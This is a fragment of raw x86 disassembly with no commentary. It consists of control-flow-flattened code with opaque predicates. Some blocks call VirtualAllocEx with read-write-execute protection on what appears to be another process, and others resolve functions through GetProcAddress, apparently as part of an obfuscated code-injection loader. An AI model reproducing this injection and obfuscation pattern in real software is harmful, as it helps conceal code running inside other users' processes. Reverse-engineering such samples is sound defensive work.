cmp eax, 0x66c7a130
jg 0x40a961
cmp eax, 0x63d8cfb0
je 0x40c864
cmp eax, 0x64d74851
jne 0x402740
push 0x40
push 0x3000
push dword [ebp - 0x114]
push 0
push dword [ebp - 0x118]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xd4]
mov dword [ecx], eax
mov eax, dword [ebp - 0xd4]
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0x180131e0
and eax, 0xe7fece1f
or edx, eax
xor edx, 0x180131e0
or ecx, edx
mov esi, ecx
not esi
and ecx, 0x309f6c70
mov eax, esi
and eax, 0xcf60938f
or esi, 0x9ce1cf38
or ecx, eax
mov edx, esi
not edx
and esi, 0x631e30c6
mov eax, ecx
xor eax, 0x309f6c70
xor ecx, 0xb60918b
mov edi, eax
and edi, 0x9ce1cf38
and ecx, 0x2bfafdbb
or edx, edi
and edx, 0x9ce1cf39
or edx, esi
mov esi, eax
and esi, 0xd4050244
and eax, 1
or esi, ecx
xor esi, 0x2bfafdba
or eax, esi
mov ecx, eax
not ecx
and eax, 0x16934260
and ecx, 0xe96cbd9f
or eax, ecx
xor eax, 0x16934260
or eax, edx
mov ecx, eax
xor ecx, 0x612f4ced
mov edx, eax
not edx
and ecx, eax
or eax, 0x9ed0b312
and edx, 0x41270c69
mov esi, eax
and esi, 0xaad8f084
or edx, esi
mov esi, ecx
not esi
and ecx, 0x55270f7b
or eax, esi
and esi, 0xaad8f084
or ecx, esi
not eax
mov esi, 0x4287b774
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xad93c517
and ecx, 0x526c3ae8
or eax, ecx
xor eax, 0xccbc89fa
sete dl
setne cl
cmp dword [0x4f6180], 0xa
setl al
mov ah, al
xor cl, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov edx, eax
not dl
and dl, al
xor dl, 1
mov ah, dl
or dl, al
xor ah, al
xor dl, 1
or al, cl
or dl, ah
mov ah, dl
and dl, cl
xor cl, 1
xor ah, 1
and ah, cl
mov ecx, eax
or dl, ah
xor cl, dl
test al, al
mov eax, 0xccf44051
cmovne eax, esi
test dl, dl
not cl
mov edx, 0xccf44051
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x402740
cmp eax, 0xc6d7253d
jle 0x4056da
cmp eax, 0xcb42677e
jle 0x4075d6
cmp eax, 0xccf44050
jg 0x40a981
cmp eax, 0xcb42677f
je 0x40c86e
cmp eax, 0xcbb9ab57
jne 0x402740
mov eax, 0xe3eb78d7
jmp 0x402740
cmp eax, 0x1bc51531
jle 0x405874
cmp eax, 0x1dacbb53
jle 0x407615
cmp eax, 0x1e7b0f9b
jg 0x40a9a1
cmp eax, 0x1dacbb54
je 0x40c959
cmp eax, 0x1e06efa0
jne 0x402740
mov eax, dword [ebp - 0x20]
mov dword [eax], 0xa
mov eax, 0x9d7c7950
jmp 0x402740
cmp eax, 0x94647128
jle 0x4059f3
cmp eax, 0x96927805
jle 0x407737
cmp eax, 0x97942340
jg 0x40a9d8
cmp eax, 0x96927806
je 0x40cae9
cmp eax, 0x96beb23c
jne 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xb6c1105
mov edi, ecx
or edi, 0x23fbf5e4
mov esi, ecx
and esi, 0x23fbf5e4
and ecx, 0xf493eefa
mov edx, edi
not edx
and edi, 0xdc040a1a
or eax, ecx
or edx, esi
xor eax, 0xb6c1105
mov esi, 0xbe8f9dc0
and edx, 0x23fbf5e5
or edx, edi
mov edi, 0x63282de4
not edx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xbf57d782
and ecx, 0x40a8287d
or eax, ecx
cmp eax, 0xbf57d782
setne cl
cmp dword [0x4f6180], 0xa
mov ah, cl
setl dl
setge al
or al, cl
xor cl, dl
or ah, dl
not cl
xor al, 1
and cl, dl
xor cl, 1
mov edx, ecx
or cl, ah
xor dl, ah
xor cl, 1
or cl, dl
xor cl, al
mov edx, ecx
xor dl, 1
and al, dl
xor dl, al
test dl, 1
mov edx, 0x63282de4
cmovne edx, esi
test cl, 1
mov ecx, edx
cmovne ecx, edi
jmp 0x40b89a
cmp eax, 0x53fea84c
jle 0x405be6
cmp eax, 0x5597a83a
jle 0x407765
cmp eax, 0x55c3dcc5
jg 0x40aa13
cmp eax, 0x5597a83b
je 0x40caf3
cmp eax, 0x55a76019
jne 0x402740
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0xb4]
add eax, dword [ecx]
mov dword [ebp - 0x1a8], eax
mov eax, 0x97b1e044
jmp 0x402740
cmp eax, 0xfd3d329f
jle 0x405c1c
cmp eax, 0xfe66249e
jle 0x40779b
cmp eax, 0xff80d5f7
jg 0x40ab5e
cmp eax, 0xfe66249f
je 0x40cafd
cmp eax, 0xfe81fc4f
jne 0x402740
mov eax, dword [ebp - 0x38]
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
or esi, 0x880c0421
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x77412816
and ecx, eax
and esi, 0xbe0c2423
and edx, 0x41410814
or edx, esi
mov esi, ecx
not esi
and ecx, 0x41f3dbdc
or eax, esi
and esi, 0xbe0c2423
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x88bed7e9
and eax, 0x77412816
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xe867836e
and eax, 0x87bd88a4
and edx, 0x17987c91
or ecx, edx
mov edx, ecx
mov esi, ecx
xor edx, 0xe867836e
xor esi, 0x6fda0bca
xor ecx, 0x14084400
and esi, edx
and ecx, 0xd40d444a
or eax, esi
mov esi, eax
not esi
and eax, 0x7842775a
and esi, 0x87bd88a5
or eax, esi
mov esi, edx
and esi, 0x2bf2bbb5
and edx, 1
or esi, ecx
xor esi, 0xd40d444b
or edx, esi
mov ecx, edx
not ecx
and edx, 0x1d391d5e
and ecx, 0xe2c6e2a1
or edx, ecx
mov ecx, eax
not ecx
and eax, 0x34889f9b
mov esi, ecx
and esi, 0xcb776064
or eax, esi
mov esi, edx
xor esi, 0x14081d1a
xor edx, 0xe2c6e2a1
or ecx, edx
and edx, 0xcb776064
and esi, 0x34889f9b
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov edx, ecx
not edx
mov esi, ecx
andn eax, ecx, ecx
and esi, 0x2a32f813
and edx, 0xd5cd07ec
or edx, esi
mov esi, eax
not esi
and eax, 0xd5cd07ec
or ecx, esi
and esi, 0x2a32f813
or eax, esi
not ecx
mov esi, 0x180e12d2
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xfbfaa253
and eax, 0x4055dac
or ecx, eax
mov eax, ecx
xor eax, 0x4a8a2012
xor ecx, 0x4014580
and ecx, 0xb571c7c1
and eax, 0x4a8e383e
or eax, ecx
cmp eax, 0x4a8e383e
sete dl
cmp dword [0x4f6180], 0xa
mov ch, dl
setge ah
setl cl
mov al, ah
xor ch, cl
or cl, dl
xor al, dl
xor cl, 1
or dl, ah
not al
or cl, ch
and al, ah
mov ch, cl
mov ah, dl
xor al, 1
not ch
xor ah, al
or al, dl
and ch, cl
xor al, 1
xor ch, 1
or al, ah
mov ah, cl
xor ah, ch
or ch, cl
xor al, 1
xor ch, 1
mov cl, al
or ch, ah
xor cl, ch
xor ch, 1
or ch, al
mov eax, ecx
xor al, ch
not al
test al, 1
mov eax, 0x3e4c553f
cmovne esi, eax
test ch, 1
mov eax, 0x180e12d2
jmp 0x40f81c
cmp eax, 0x390e2517
jle 0x405c70
cmp eax, 0x3b512f47
jle 0x4078bc
cmp eax, 0x3dd1c426
jg 0x40ab8f
cmp eax, 0x3b512f48
je 0x40cb07
cmp eax, 0x3be4df53
jne 0x402740
mov eax, 0x53fea84d
jmp 0x402740
cmp eax, 0xb6d87822
jle 0x405d69
cmp eax, 0xb8a345bc
jle 0x4078f6
cmp eax, 0xb957ca61
jg 0x40ac91
cmp eax, 0xb8a345bd
je 0x40cb11
cmp eax, 0xb8b9fb43
jne 0x402740
cmp byte [ebp - 0x9c], 0
mov eax, 0x24c88ac4
mov ecx, 0xb4f1aff2
cmovne eax, ecx
jmp 0x402740
cmp eax, 0x71b8f738
jle 0x405dc1
cmp eax, 0x73660e43
jle 0x40792d
cmp eax, 0x74f5a28e
jg 0x40acc5
cmp eax, 0x73660e44
je 0x4025ca
cmp eax, 0x73b176e3
jne 0x402740
mov eax, dword [ebp - 0x58]
mov dword [eax], 2
mov eax, 0x5ac97e47
jmp 0x402740
cmp eax, 0xe2017b5e
jle 0x405e93
cmp eax, 0xe678091a
jle 0x407990
cmp eax, 0xe82ab9fd
jg 0x40b2b8
cmp eax, 0xe678091b
je 0x40ccfb
cmp eax, 0xe747fd16
jne 0x402740
mov eax, 0x55a76019
jmp 0x402740
cmp eax, 0x132ecfb2
jle 0x405f70
cmp eax, 0x14b48513
jle 0x407ab7
cmp eax, 0x180e12d1
jg 0x40b2d8
cmp eax, 0x14b48514
je 0x40cd10
cmp eax, 0x15702eab
jne 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x7befcfca
and eax, 0x4f3f08d7
mov esi, ecx
and esi, 0x84103034
or edx, esi
mov esi, edx
xor esi, 0x206206c2
xor edx, 0x2005
and edx, 0x5b8de90d
and esi, 0xa47216f2
or esi, edx
mov edx, ecx
or edx, 0x5b8de90c
and ecx, 0xb0c0f728
and edx, 0x5b8de90d
or eax, ecx
mov ecx, eax
xor edx, esi
xor ecx, 0x4f3f08d7
xor eax, 0xb0c0f728
mov esi, 0xc58cb6de
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
xor edx, eax
test edx, eax
setne ch
sete dh
cmp dword [0x4f6180], 0xa
mov cl, ch
setge dl
setl ah
mov al, dl
xor cl, dl
or al, dh
and cl, dh
xor al, 1
or al, cl
mov cl, ah
xor ah, dh
and dh, dl
or dl, ch
and cl, ch
xor dl, 1
or cl, dh
or dl, ah
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov edx, ecx
mov ah, cl
and ah, al
xor dl, 1
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x4a9e1709
cmovne eax, esi
test dl, 1
not cl
mov edx, 0x4a9e1709
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x402740
cmp eax, 0x8d48ba78
jle 0x405fa6
cmp eax, 0x8fc62fcd
jle 0x407ba8
cmp eax, 0x9041b91d
jg 0x40b2fe
cmp eax, 0x8fc62fce
je 0x40ce5b
cmp eax, 0x8fd68eb8
jne 0x402740
mov eax, 0xc6d7253e
jmp 0x402740
cmp eax, 0x4ebf2146
jle 0x405fdc
cmp eax, 0x4f7e4323
jle 0x407c93
cmp eax, 0x503ab271
jg 0x40b4c7
cmp eax, 0x4f7e4324
je 0x40ce84
cmp eax, 0x4f885c36
jne 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x194e1e50
and edx, 0xe6b1e1ae
or ecx, edx
mov edx, eax
xor edx, 0xfffffffe
and edx, eax
mov esi, ecx
xor esi, 0x14a1400
xor ecx, 0xe6b1e1af
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xbc958a75
and esi, 0x436a758a
and edx, 0x436a758a
or ecx, ebx
and ebx, 0xbc958a75
or esi, edi
or edx, ebx
not ecx
xor edx, esi
mov esi, 0x3be4df53
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
sete ah
setne al
cmp dword [0x4f6180], 0xa
setge dl
setl ch
xor ch, al
xor al, dl
mov cl, ch
and al, ah
xor cl, dl
or dl, ah
xor al, 1
mov ah, al
or al, dl
and cl, ch
xor ah, dl
xor al, 1
or al, ah
mov ah, al
mov edx, eax
xor ah, 1
and dl, ah
xor dl, 1
mov ch, dl
or dl, ah
xor ch, ah
xor dl, 1
mov ah, cl
or dl, ch
xor ah, 1
and ah, dl
xor dl, 1
and dl, cl
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x53fea84d
cmovne ecx, esi
test al, 1
mov eax, 0x53fea84d
jmp 0x414567
cmp eax, 0xf69e2172
jle 0x4060dd
cmp eax, 0xf8c771d0
jle 0x407cbe
cmp eax, 0xfaa956c5
jg 0x40b4e7
cmp eax, 0xf8c771d1
je 0x40cf72
cmp eax, 0xf996af73
jne 0x402740
mov eax, dword [ebp - 0x30]
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xa029e3e1
mov eax, ecx
and eax, 0x8380
and edx, ecx
not ecx
mov esi, ecx
and esi, 0xa0296061
mov ebx, edx
not ebx
and edx, 0x2c721c8f
or eax, esi
mov esi, eax
xor esi, 0x80
xor eax, 0xffff7c7f
mov edi, eax
or eax, ebx
and ebx, 0xd38de370
and edi, 0xd38de370
and esi, 0x20200081
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, 0x4afcb8fe
or eax, edx
mov edx, eax
not edx
and eax, 0xa029e3e0
and edx, 0x5fd61c1f
or eax, edx
mov edx, eax
not edx
and eax, 0xf30f744c
and edx, 0xcf08bb3
or eax, edx
xor eax, 0xf30f744c
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x4f6180], 0xa
setge dl
setl ah
and ah, cl
mov ecx, edx
and cl, al
xor al, dl
or cl, ah
and al, dl
or al, cl
xor cl, 1
mov ah, al
mov edx, eax
xor ah, 1
and dl, ah
mov ch, ah
xor dl, 1
xor ch, dl
or dl, ah
xor dl, 1
or dl, ch
xor dl, cl
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x6ee14ed3
cmovne eax, esi
test cl, cl
mov ecx, 0x6ee14ed3
jmp 0x4117b0
cmp eax, 0x333102b4
jle 0x406290
cmp eax, 0x35440f5e
jle 0x407ce9
cmp eax, 0x3617894b
jg 0x40b507
cmp eax, 0x35440f5f
je 0x40cf7c
cmp eax, 0x358b0d57
jne 0x402740
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x68]
add eax, 2
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x54]
mov dword [ecx], eax
mov eax, 0xabcbd70f
jmp 0x402740
cmp eax, 0xb0570306
jle 0x407d14
cmp eax, 0xb228f5c1
jg 0x40b527
cmp eax, 0xb0570307
je 0x40d11c
cmp eax, 0xb1f28112
jne 0x402740
mov eax, dword [0x4f6184]
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
not ecx
mov eax, esi
or eax, 1
and esi, 0xfffffffe
mov edx, ecx
and edx, 1
and ecx, 0xd45cffae
or edx, esi
mov esi, eax
and esi, 0x2ba30050
or ecx, esi
mov esi, edx
not esi
and edx, 0xd45cffaf
or eax, esi
and esi, 0x2ba30050
or edx, esi
not eax
xor edx, ecx
or eax, edx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0xba6fc8d4
and eax, 0x4590372b
or ecx, eax
mov eax, ecx
xor eax, 0x3a4cc094
xor ecx, 0x4590372b
mov esi, ecx
and esi, 0x80a30f60
and eax, 0x7f5cf09f
or eax, esi
mov esi, edx
not esi
and edx, 0x7f5cf09f
or ecx, esi
and esi, 0x80a30f60
or edx, esi
not ecx
mov esi, 0xb0570307
xor edx, eax
or ecx, edx
sete cl
setne dl
cmp dword [0x4f6180], 0xa
setge ah
setl al
or ah, dl
xor al, cl
xor ah, 1
mov cl, ah
xor cl, al
or al, ah
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x9a0771c6
cmovne eax, esi
test cl, cl
mov ecx, 0x9a0771c6
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402740
cmp eax, 0x6e0f89b7
jle 0x407e89
cmp eax, 0x6f17ea71
jg 0x40b6f9
cmp eax, 0x6e0f89b8
je 0x40d129
cmp eax, 0x6ee14ed3
jne 0x402740
mov eax, dword [0x4f6184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov esi, edx
and esi, 0xc7af2c88
mov eax, ecx
and eax, 0x3850d376
and ecx, 0xe18d4782
or esi, eax
mov eax, edx
xor eax, 0xfffffffe
xor esi, 0xc7af2c88
and eax, edx
or eax, esi
mov esi, eax
not esi
mov edi, eax
or eax, edx
and edx, 0x1e72b87d
and edi, 0x1e72b87d
and esi, 0xe18d4782
or ecx, edx
not eax
or esi, edi
xor ecx, esi
mov esi, 0x4afcb8fe
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb31005de
and ecx, 0x4ceffa21
or eax, ecx
xor eax, 0xb31005de
sete cl
setne dl
cmp dword [0x4f6180], 0xa
setge al
setl ah
and dl, ah
and al, cl
or ah, cl
or al, dl
xor ah, 1
or ah, al
mov dl, ah
xor dl, 1
mov ecx, edx
and cl, ah
xor cl, 1
mov ch, cl
or cl, ah
xor ch, ah
mov ah, al
xor cl, 1
xor ah, dl
or dl, al
or cl, ch
xor dl, 1
xor cl, al
or dl, ah
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0x8b070402
cmovne edx, esi
test cl, 1
not al
cmove edx, esi
test al, 1
mov eax, 0x8b070402
jmp 0x412325
cmp eax, 0xd342a781
jle 0x407eb4
cmp eax, 0xd66ad3ec
jg 0x40b794
cmp eax, 0xd342a782
je 0x40d13e
cmp eax, 0xd665256d
jne 0x402740
mov eax, dword [ebp - 0x104]
mov ecx, dword [0x4f6184]
add eax, 0x18
mov dword [ebp - 0x174], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x90020020
and eax, 0x82c3c19
mov esi, ecx
and esi, 0x601143c6
or ecx, 0xd0134264
or edx, esi
and ecx, 0xd7d3c264
mov esi, edx
xor esi, 0x47d1c244
and edx, 0x20000182
or eax, ecx
and esi, 0xd7d3c264
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x4a3e170e
and ecx, 0xb5c1e8f1
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0x45d2ab16
xor ecx, 0xba2d54e8
xor edx, 0xba2d54e9
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xd1d34c85
and eax, 0x2e2cb37a
or ecx, eax
mov eax, ecx
xor eax, 0x80424401
xor ecx, 0x2e2cb37a
mov edx, ecx
and edx, 0x55b1a8dc
and eax, 0xaa4e5723
or eax, edx
xor eax, 0x55b1a8dc
xor ecx, eax
test ecx, eax
setne ah
sete ch
cmp dword [0x4f6180], 0xa
mov al, ah
setge cl
setl dl
mov dh, cl
or al, cl
and cl, ch
xor dh, ah
and ah, dl
or dl, ch
or cl, ah
mov ah, dl
and al, dh
xor cl, 1
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
or dl, al
xor cl, al
xor dl, 1
mov eax, 0xbc51f8e6
or dl, cl
mov ch, dl
xor ch, cl
test dl, 1
mov edx, 0x93c33358
cmovne eax, edx
test cl, 1
cmove eax, edx
test ch, 1
mov edx, 0xbc51f8e6
cmove eax, edx
jmp 0x402740
cmp eax, 0x28df4082
jle 0x407ff4
cmp eax, 0x290357a4
jg 0x40b8a1
cmp eax, 0x28df4083
je 0x40d14b
cmp eax, 0x28fd2b32
jne 0x402740
mov eax, dword [0x4f6184]
mov edi, 0x3617894c
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
not ecx
mov eax, esi
or eax, 1
and esi, 0x51f88d32
mov edx, ecx
and edx, 0xae0772cd
and ecx, 0x1551ce86
or edx, esi
mov esi, eax
and esi, 0xeaae3178
or ecx, esi
mov esi, edx
xor esi, 0x4014284
xor edx, 0x51f88d33
or eax, edx
and edx, 0xeaae3178
and esi, 0x1551ce87
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, eax
or esi, 0x1706e2
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xff60e80d
and ecx, eax
and esi, 0xd757aee6
and edx, 0x28204009
or edx, esi
mov esi, ecx
not esi
and ecx, 0x28a85119
or eax, esi
and esi, 0xd757aee6
or ecx, esi
not eax
mov esi, 0xe3e880ba
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x9f17f2
and eax, 0xff60e80d
or eax, ecx
sete cl
setne ah
cmp dword [0x4f6180], 0xa
setl al
setge ch
mov edx, eax
and al, ah
or dl, cl
and cl, ch
xor ch, ah
xor dl, 1
or al, cl
or dl, ch
xor dl, 1
xor al, dl
mov ecx, eax
cmovne esi, edi
not cl
test cl, dl
mov edx, 0xe3e880ba
cmove esi, edx
cmovne esi, edi
test al, al
cmovne esi, edi
mov eax, esi
jmp 0x402740
cmp eax, 0x9d7c3182
jle 0x4080ea
cmp eax, 0x9e2c4a75
jg 0x40b8c1
cmp eax, 0x9d7c3183
je 0x40d164
cmp eax, 0x9d7c7950
jne 0x402740
mov eax, dword [ebp - 0x20]
mov dword [eax], 0xa
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edi, eax
not edi
mov ecx, eax
and ecx, 0x9b15bbf8
mov edx, eax
xor edx, 0x4a26744b
and edi, 0x64ea4407
andn esi, eax, edx
or edi, ecx
mov edx, edi
xor edx, 0x9b15bbf8
mov ecx, edi
xor edi, 0x4c80004
xor ecx, 0x20084406
mov eax, edx
or eax, 0x4a26744b
and edi, 0x95c88a84
and edx, 0x5de79ae0
and ecx, 0xa218651e
mov ebx, eax
and ebx, 0x20157172
or ecx, edx
or edi, ebx
mov ebx, esi
not ebx
and esi, 0xdfea8e8d
or eax, ebx
and ebx, 0x20157172
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov esi, eax
not esi
and eax, 0xaa51f7ad
and esi, 0x55ae0852
or eax, esi
mov esi, eax
xor esi, 0xd882c00
xor eax, 0xe07783e7
mov edx, eax
and edx, 0x9244d37d
and esi, 0x6dbb2c82
or esi, edx
mov edx, ecx
xor edx, 0x20182402
xor ecx, 0x5de79ae1
or eax, ecx
and ecx, 0x9244d37d
and edx, 0x6dbb2c82
or edx, ecx
not eax
xor edx, esi
or eax, edx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xf12ea1fe
and edx, 0xed15e01
or edx, esi
mov esi, ecx
not esi
and ecx, 0xed15e01
or eax, esi
and esi, 0xf12ea1fe
or ecx, esi
not eax
mov esi, 0x1e06efa0
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd453a90b
and ecx, 0x2bac56f4
or eax, ecx
mov ecx, eax
xor ecx, 0xc4032802
xor eax, 0x22a04294
and eax, 0x32f0c39d
and ecx, 0xcd0f3c62
or ecx, eax
mov eax, ecx
xor eax, 0x10500109
xor ecx, 0x9070c20
and ecx, 0x2ba7ceb4
and eax, 0xd458314b
or eax, ecx
xor eax, 0xd458314b
setne cl
sete dl
cmp dword [0x4f6180], 0xa
mov ch, cl
setl ah
setge al
or cl, ah
and ch, al
and ah, dl
or ah, ch
xor cl, 1
mov ch, ah
xor ch, al
or al, dl
xor al, 1
and ch, ah
or al, cl
mov cl, ch
xor cl, al
or al, ch
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xb6d87823
cmovne eax, esi
test cl, cl
mov ecx, 0xb6d87823
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402740
cmp eax, 0x5da52c38
jle 0x408115
cmp eax, 0x5e9e43c3
jg 0x40ba82
cmp eax, 0x5da52c39
je 0x40d174
cmp eax, 0x5e219fff
jne 0x402740
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0xec]
mov edx, dword [ecx + eax]
add edx, dword [ebp - 0x40]
mov dword [ecx + eax], edx
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xc5c802c
and ecx, 0xf3a37fd2
or edx, ecx
mov ecx, eax
and ecx, 1
xor edx, 0xc5c802c
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn esi, eax, edx
or ecx, esi
mov esi, 0x7c5e8f13
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete al
cmp dword [0x4f6180], 0xa
mov ah, al
mov ch, al
setl dl
setge cl
xor ah, dl
or ch, cl
or al, dl
and cl, ah
xor al, 1
xor cl, 1
or al, ah
mov dh, cl
or cl, ch
mov ah, al
xor dh, ch
xor cl, 1
xor ah, 1
or cl, dh
mov edx, ecx
xor dl, al
and al, cl
and dl, cl
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x9a3e5d76
jmp 0x40c508
cmp eax, 0x5665887
jle 0x40825d
cmp eax, 0x6e5075d
jg 0x40baad
cmp eax, 0x5665888
je 0x40d17e
cmp eax, 0x66fa8dc
jne 0x402740
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0x78b3112e
mov esi, ecx
or esi, 0x810808c0
and eax, ecx
and esi, 0x890908e2
and edx, 0x70b2110c
or edx, esi
mov esi, eax
not esi
and eax, 0x76f6f71d
or ecx, esi
and esi, 0x890908e2
or eax, esi
not ecx
xor eax, edx
or ecx, eax
not eax
and eax, 0x874ceed1
and ecx, 0x78b3112e
or ecx, eax
mov eax, ecx
xor eax, 0x8041029c
mov esi, ecx
xor esi, 0x7182a801
mov edx, ecx
not edx
and ecx, 0x819eb5c1
and esi, 0x7f86f901
and eax, 0x807906fe
or eax, esi
mov esi, edx
and esi, 0x7e614a3e
and edx, 1
or esi, ecx
mov ecx, esi
xor ecx, 0x818ab140
xor esi, 0x22600a18
or edx, ecx
mov ecx, eax
xor ecx, 0x2104502
and esi, 0x22740e98
xor eax, 0xf1c3aa9c
and edx, 0xdd8bf167
and ecx, 0xe2534d92
or edx, esi
mov esi, eax
and esi, 0x1dacb26d
or ecx, esi
mov esi, edx
xor esi, 0xc0034102
xor edx, 0x22740e98
or eax, edx
and edx, 0x1dacb26d
and esi, 0xe2534d92
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
xor ecx, 0x3e6aa1e9
mov edx, eax
not edx
and ecx, eax
or eax, 0xc1955e16
and edx, 0x30600009
mov esi, eax
and esi, 0xcf1beff4
or edx, esi
mov esi, ecx
not esi
and ecx, 0x30e4100b
or eax, esi
and esi, 0xcf1beff4
or ecx, esi
not eax
mov esi, 0x9e2c4a76
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd7757df9
and ecx, 0x288a8206
or eax, ecx
mov ecx, eax
xor ecx, 0x881d4c00
xor eax, 0x16e023ef
mov edx, eax
and edx, 0x7762b35f
and ecx, 0x889d4ca0
or ecx, edx
xor ecx, 0x889d4ca0
or ecx, eax
xor ecx, 0xffffffff
sete dl
setne al
cmp dword [0x4f6180], 0xa
setge ah
mov cl, ah
xor cl, al
or al, ah
or ah, dl
and cl, dl
mov edx, eax
xor cl, 1
xor dl, 1
mov ch, cl
or cl, ah
xor ch, ah
xor cl, 1
or cl, ch
mov ah, cl
and cl, al
xor ah, 1
and dl, ah
or ah, al
or dl, cl
mov bl, ah
xor bl, dl
test ah, 1
mov eax, 0xaa6ae840
cmovne eax, esi
test dl, dl
mov edx, 0xaa6ae840
cmove eax, esi
test bl, 1
cmove eax, edx
jmp 0x402740
cmp eax, 0x4238b97d
jle 0x408297
cmp eax, 0x4340decd
jg 0x40bbbd
cmp eax, 0x4238b97e
je 0x40d310
cmp eax, 0x4287b774
jne 0x402740
push 0x40
push 0x3000
push dword [ebp - 0x114]
push 0
push dword [ebp - 0x118]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xd4]
mov dword [ecx], eax
mov eax, dword [ebp - 0xd4]
mov eax, 0x64d74851
jmp 0x402740
cmp eax, 0xbebcc4dc
jle 0x408340
cmp eax, 0xbf1bcc1b
jg 0x40bcc2
cmp eax, 0xbebcc4dd
je 0x40d3ac
cmp eax, 0xbee6895e
jne 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0x60649a1b
and eax, 0x9f9b65e4
or edx, eax
xor edx, 0x60649a1b
or ecx, edx
mov edx, ecx
xor edx, 1
mov eax, ecx
not eax
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0xcdba9fb8
mov esi, eax
and esi, 0x32456047
or edx, esi
mov esi, ecx
not esi
and ecx, 0xcdba9fb8
or eax, esi
and esi, 0x32456047
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xfaa2c845
and eax, 0x10900082
mov edx, ecx
and edx, 0x55d37ba
or ecx, 0x4c601c
or esi, edx
and ecx, 0xca4f663d
mov edx, esi
xor esi, 0x4c2018
xor edx, 0x20208840
or eax, ecx
